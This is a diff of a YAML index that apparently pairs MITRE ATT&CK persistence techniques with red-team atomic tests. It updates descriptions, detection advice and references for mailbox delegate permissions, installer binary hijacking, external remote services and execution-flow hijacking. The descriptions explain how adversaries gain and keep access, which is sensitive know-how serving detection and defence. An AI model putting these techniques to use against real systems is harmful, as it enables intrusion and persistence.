-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'WMI: WMI Creation'
-      - 'File: File Metadata'
-      - 'Module: Module Load'
       x_mitre_detection: "Monitoring for additions or modifications of mechanisms
         that could be used to trigger event-based execution, especially the addition
         of abnormal commands such as execution of unknown programs, opening network
@@ -45900,90 +47153,111 @@ persistence:
         of behavior that could lead to other activities, such as making network connections
         for Command and Control, learning details about the environment through Discovery,
         and conducting Lateral Movement. "
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546
+        external_id: T1546
+        source_name: mitre-attack
+      - source_name: FireEye WMI 2015
+        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
+          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
+      - source_name: Malware Persistence on OS X
+        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
+          Retrieved July 10, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - source_name: amnesia malware
+        description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
+          Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
+        url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
     atomic_tests: []
   T1098.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1098.002
-        url: https://attack.mitre.org/techniques/T1098/002
-      - source_name: Microsoft - Add-MailboxPermission
-        url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
-        description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September
-          13, 2019.
-      - url: https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
-        description: Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.
-        source_name: FireEye APT35 2018
-      - source_name: Crowdstrike Hiding in Plain Sight 2018
-        url: https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/
-        description: 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the
-          Office 365 Activities API to Investigate Business Email Compromises. Retrieved
-          January 19, 2020.'
-      - source_name: Bienstock, D. - Defending O365 - 2019
-        url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365
-        description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending
-          O365. Retrieved September 13, 2019.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Exchange Email Delegate Permissions
-      description: |-
-        Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)
-
-        This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)
-      id: attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306
       type: attack-pattern
+      name: Exchange Email Delegate Permissions
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Group: Group Modification'
+      - 'User Account: User Account Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T18:57:04.148Z'
+      created: '2020-01-19T16:54:28.516Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-05-04T19:18:36.254Z'
-      created: '2020-01-19T16:54:28.516Z'
-      x_mitre_contributors:
-      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_detection: |-
-        Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.
-
-        A larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.
-      x_mitre_data_sources:
-      - 'Group: Group Modification'
-      - 'User Account: User Account Modification'
+      id: attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306
       x_mitre_platforms:
       - Windows
       - Office 365
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      description: |-
+        Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)
+
+        Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)
+
+        This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)
+      x_mitre_contributors:
+      - Microsoft Detection and Response Team (DART)
+      - Mike Burns, Mandiant
+      - Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)
+      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
+      x_mitre_detection: "Monitor for unusual Exchange and Office 365 email account
+        permissions changes that may indicate excessively broad permissions being
+        granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action
+        for all logon types. The mailbox audit log will forward folder permission
+        modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions
+        operations where the Anonymous or Default user is assigned permissions other
+        than None. \n\nA larger than normal volume of emails sent from an account
+        and similar phishing emails sent from  real accounts within a network may
+        be a sign that an account was compromised and attempts to leverage access
+        with modified email permissions is occurring."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1098/002
+        external_id: T1098.002
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
+        description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September
+          13, 2019.
+        source_name: Microsoft - Add-MailboxPermission
+      - url: https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
+        description: Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.
+        source_name: FireEye APT35 2018
+      - url: https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/
+        description: 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the
+          Office 365 Activities API to Investigate Business Email Compromises. Retrieved
+          January 19, 2020.'
+        source_name: Crowdstrike Hiding in Plain Sight 2018
+      - url: https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html
+        description: Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett.
+          (2021, January 19). Remediation and Hardening Strategies for Microsoft 365
+          to Defend Against UNC2452. Retrieved September 25, 2021.
+        source_name: Remediation and Hardening Strategies for Microsoft 365 to Defend
+          Against UNC2452
+      - url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365
+        description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending
+          O365. Retrieved September 13, 2019.'
+        source_name: Bienstock, D. - Defending O365 - 2019
     atomic_tests: []
   T1574.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.005
-        url: https://attack.mitre.org/techniques/T1574/005
-      - source_name: mozilla_sec_adv_2012
-        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
-        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
-          Advisory 2012-98. Retrieved March 10, 2017.
-      - source_name: Executable Installers are Vulnerable
-        url: https://seclists.org/fulldisclosure/2015/Dec/34
-        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
-          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
-          of privilege. Retrieved December 4, 2014.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Executable Installer File Permissions Weakness
-      description: |-
-        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
-
-        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
-
-        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
-      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
       type: attack-pattern
+      name: Executable Installer File Permissions Weakness
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-03-26T19:20:23.030Z'
+      created: '2020-03-13T11:12:18.558Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -45991,88 +47265,78 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-26T19:20:23.030Z'
-      created: '2020-03-13T11:12:18.558Z'
-      x_mitre_version: '1.0'
+      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
+      x_mitre_platforms:
+      - Windows
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - Administrator
       - User
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
+
+        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
+
+        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
       x_mitre_effective_permissions:
       - Administrator
       - User
       - SYSTEM
+      x_mitre_contributors:
+      - Travis Smith, Tripwire
+      - Stefan Kanthak
       x_mitre_detection: |-
         Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.
 
         Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      x_mitre_contributors:
-      - Travis Smith, Tripwire
-      - Stefan Kanthak
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/005
+        external_id: T1574.005
+        source_name: mitre-attack
+      - url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
+        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
+          Advisory 2012-98. Retrieved March 10, 2017.
+        source_name: mozilla_sec_adv_2012
+      - url: https://seclists.org/fulldisclosure/2015/Dec/34
+        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
+          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
+          of privilege. Retrieved December 4, 2014.'
+        source_name: Executable Installers are Vulnerable
     atomic_tests: []
   T1133:
     technique:
-      id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: External Remote Services
-      description: |-
-        Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.
-
-        Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.
-
-        Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1133
-        url: https://attack.mitre.org/techniques/T1133
-      - external_id: CAPEC-555
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/555.html
-      - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
-        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
-          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
-        source_name: Volexity Virtual Private Keylogging
-      - source_name: Trend Micro Exposed Docker Server
-        url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
-        description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants
-          Target Exposed Docker Servers. Retrieved April 5, 2021.
-      - source_name: Unit 42 Hildegard Malware
-        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
-        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
-          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: External Remote Services
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Logon Session: Logon Session Metadata'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '2.3'
+      modified: '2021-08-19T16:57:27.209Z'
+      created: '2017-05-31T21:31:44.421Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-22T20:22:02.443Z'
-      created: '2017-05-31T21:31:44.421Z'
-      x_mitre_is_subtechnique: false
+      id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d
       x_mitre_platforms:
       - Windows
       - Linux
       - Containers
+      - macOS
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
-      x_mitre_detection: |-
-        Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.
+      description: |-
+        Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)
 
-        When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Logon Session: Logon Session Metadata'
-      - 'Network Traffic: Network Traffic Flow'
+        Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.
+
+        Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
       x_mitre_contributors:
       - ExtraHop
       - David Fiser, @anu4is, Trend Micro
@@ -46088,7 +47352,34 @@ persistence:
       - Vishwas Manral, McAfee
       - Daniel Oakley
       - Travis Smith, Tripwire
-      x_mitre_version: '2.2'
+      x_mitre_detection: |-
+        Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.
+
+        When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1133
+        external_id: T1133
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/555.html
+        external_id: CAPEC-555
+        source_name: capec
+      - url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
+        description: Apple Support. (n.d.). Set up a computer running VNC software
+          for Remote Desktop. Retrieved August 18, 2021.
+        source_name: MacOS VNC software for Remote Desktop
+      - source_name: Volexity Virtual Private Keylogging
+        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
+          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
+        url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
+      - url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
+        description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants
+          Target Exposed Docker Servers. Retrieved April 5, 2021.
+        source_name: Trend Micro Exposed Docker Server
+      - url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
+        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
+          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
+        source_name: Unit 42 Hildegard Malware
       identifier: T1133
     atomic_tests:
     - name: Running Chrome VPN Extensions via the Registry 2 vpn extension
@@ -46137,33 +47428,10 @@ persistence:
           Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}
   T1574:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574
-        url: https://attack.mitre.org/techniques/T1574
-      - source_name: Autoruns for Windows
-        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
-        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
-          Retrieved March 13, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Hijack Execution Flow
-      description: |-
-        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.
-
-        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
-      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-27T19:55:20.290Z'
-      created: '2020-03-12T20:38:12.465Z'
+      name: Hijack Execution Flow
       x_mitre_data_sources:
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Process: Process Creation'
@@ -46172,6 +47440,29 @@ persistence:
       - 'Service: Service Metadata'
       - 'File: File Creation'
       - 'File: File Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T23:52:52.536Z'
+      created: '2020-03-12T20:38:12.465Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.
+
+        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: |-
         Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.
 
@@ -46184,79 +47475,172 @@ persistence:
         Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
 
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574
+        external_id: T1574
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
+        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
+          Retrieved March 13, 2020.
+        source_name: Autoruns for Windows
     atomic_tests: []
   T1062:
     technique:
-      id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Hypervisor
+      x_mitre_version: '2.0'
+      modified: '2020-03-30T13:44:04.712Z'
+      created: '2017-05-31T21:30:50.958Z'
+      x_mitre_deprecated: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63
       description: |-
         **This technique has been deprecated and should no longer be used.**
 
         A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1062
-        url: https://attack.mitre.org/techniques/T1062
-      - external_id: CAPEC-552
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/552.html
-      - url: https://en.wikipedia.org/wiki/Hypervisor
-        description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.
-        source_name: Wikipedia Hypervisor
-      - url: http://en.wikipedia.org/wiki/Xen
-        description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.
-        source_name: Wikipedia Xen
-      - url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
-        description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted
-          Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.
-        source_name: Myers 2007
-      - url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html
-        description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee).
-          (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;.
-          Retrieved November 13, 2014.
-        source_name: virtualization.info 2006
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-03-30T13:44:04.712Z'
-      created: '2017-05-31T21:30:50.958Z'
-      x_mitre_deprecated: true
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: 'Type-1 hypervisors may be detected by performing timing
         analysis. Hypervisors emulate certain CPU instructions that would normally
         be executed by the hardware. If an instruction takes orders of magnitude longer
         to execute than normal on a system that should not contain a hypervisor, one
         may be present. (Citation: virtualization.info 2006)'
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1062
+        external_id: T1062
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/552.html
+        external_id: CAPEC-552
+        source_name: capec
+      - source_name: Wikipedia Hypervisor
+        description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.
+        url: https://en.wikipedia.org/wiki/Hypervisor
+      - source_name: Wikipedia Xen
+        description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.
+        url: http://en.wikipedia.org/wiki/Xen
+      - source_name: Myers 2007
+        description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted
+          Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.
+        url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
+      - source_name: virtualization.info 2006
+        description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee).
+          (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;.
+          Retrieved November 13, 2014.
+        url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html
+    atomic_tests: []
+  T1505.004:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: IIS Components
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
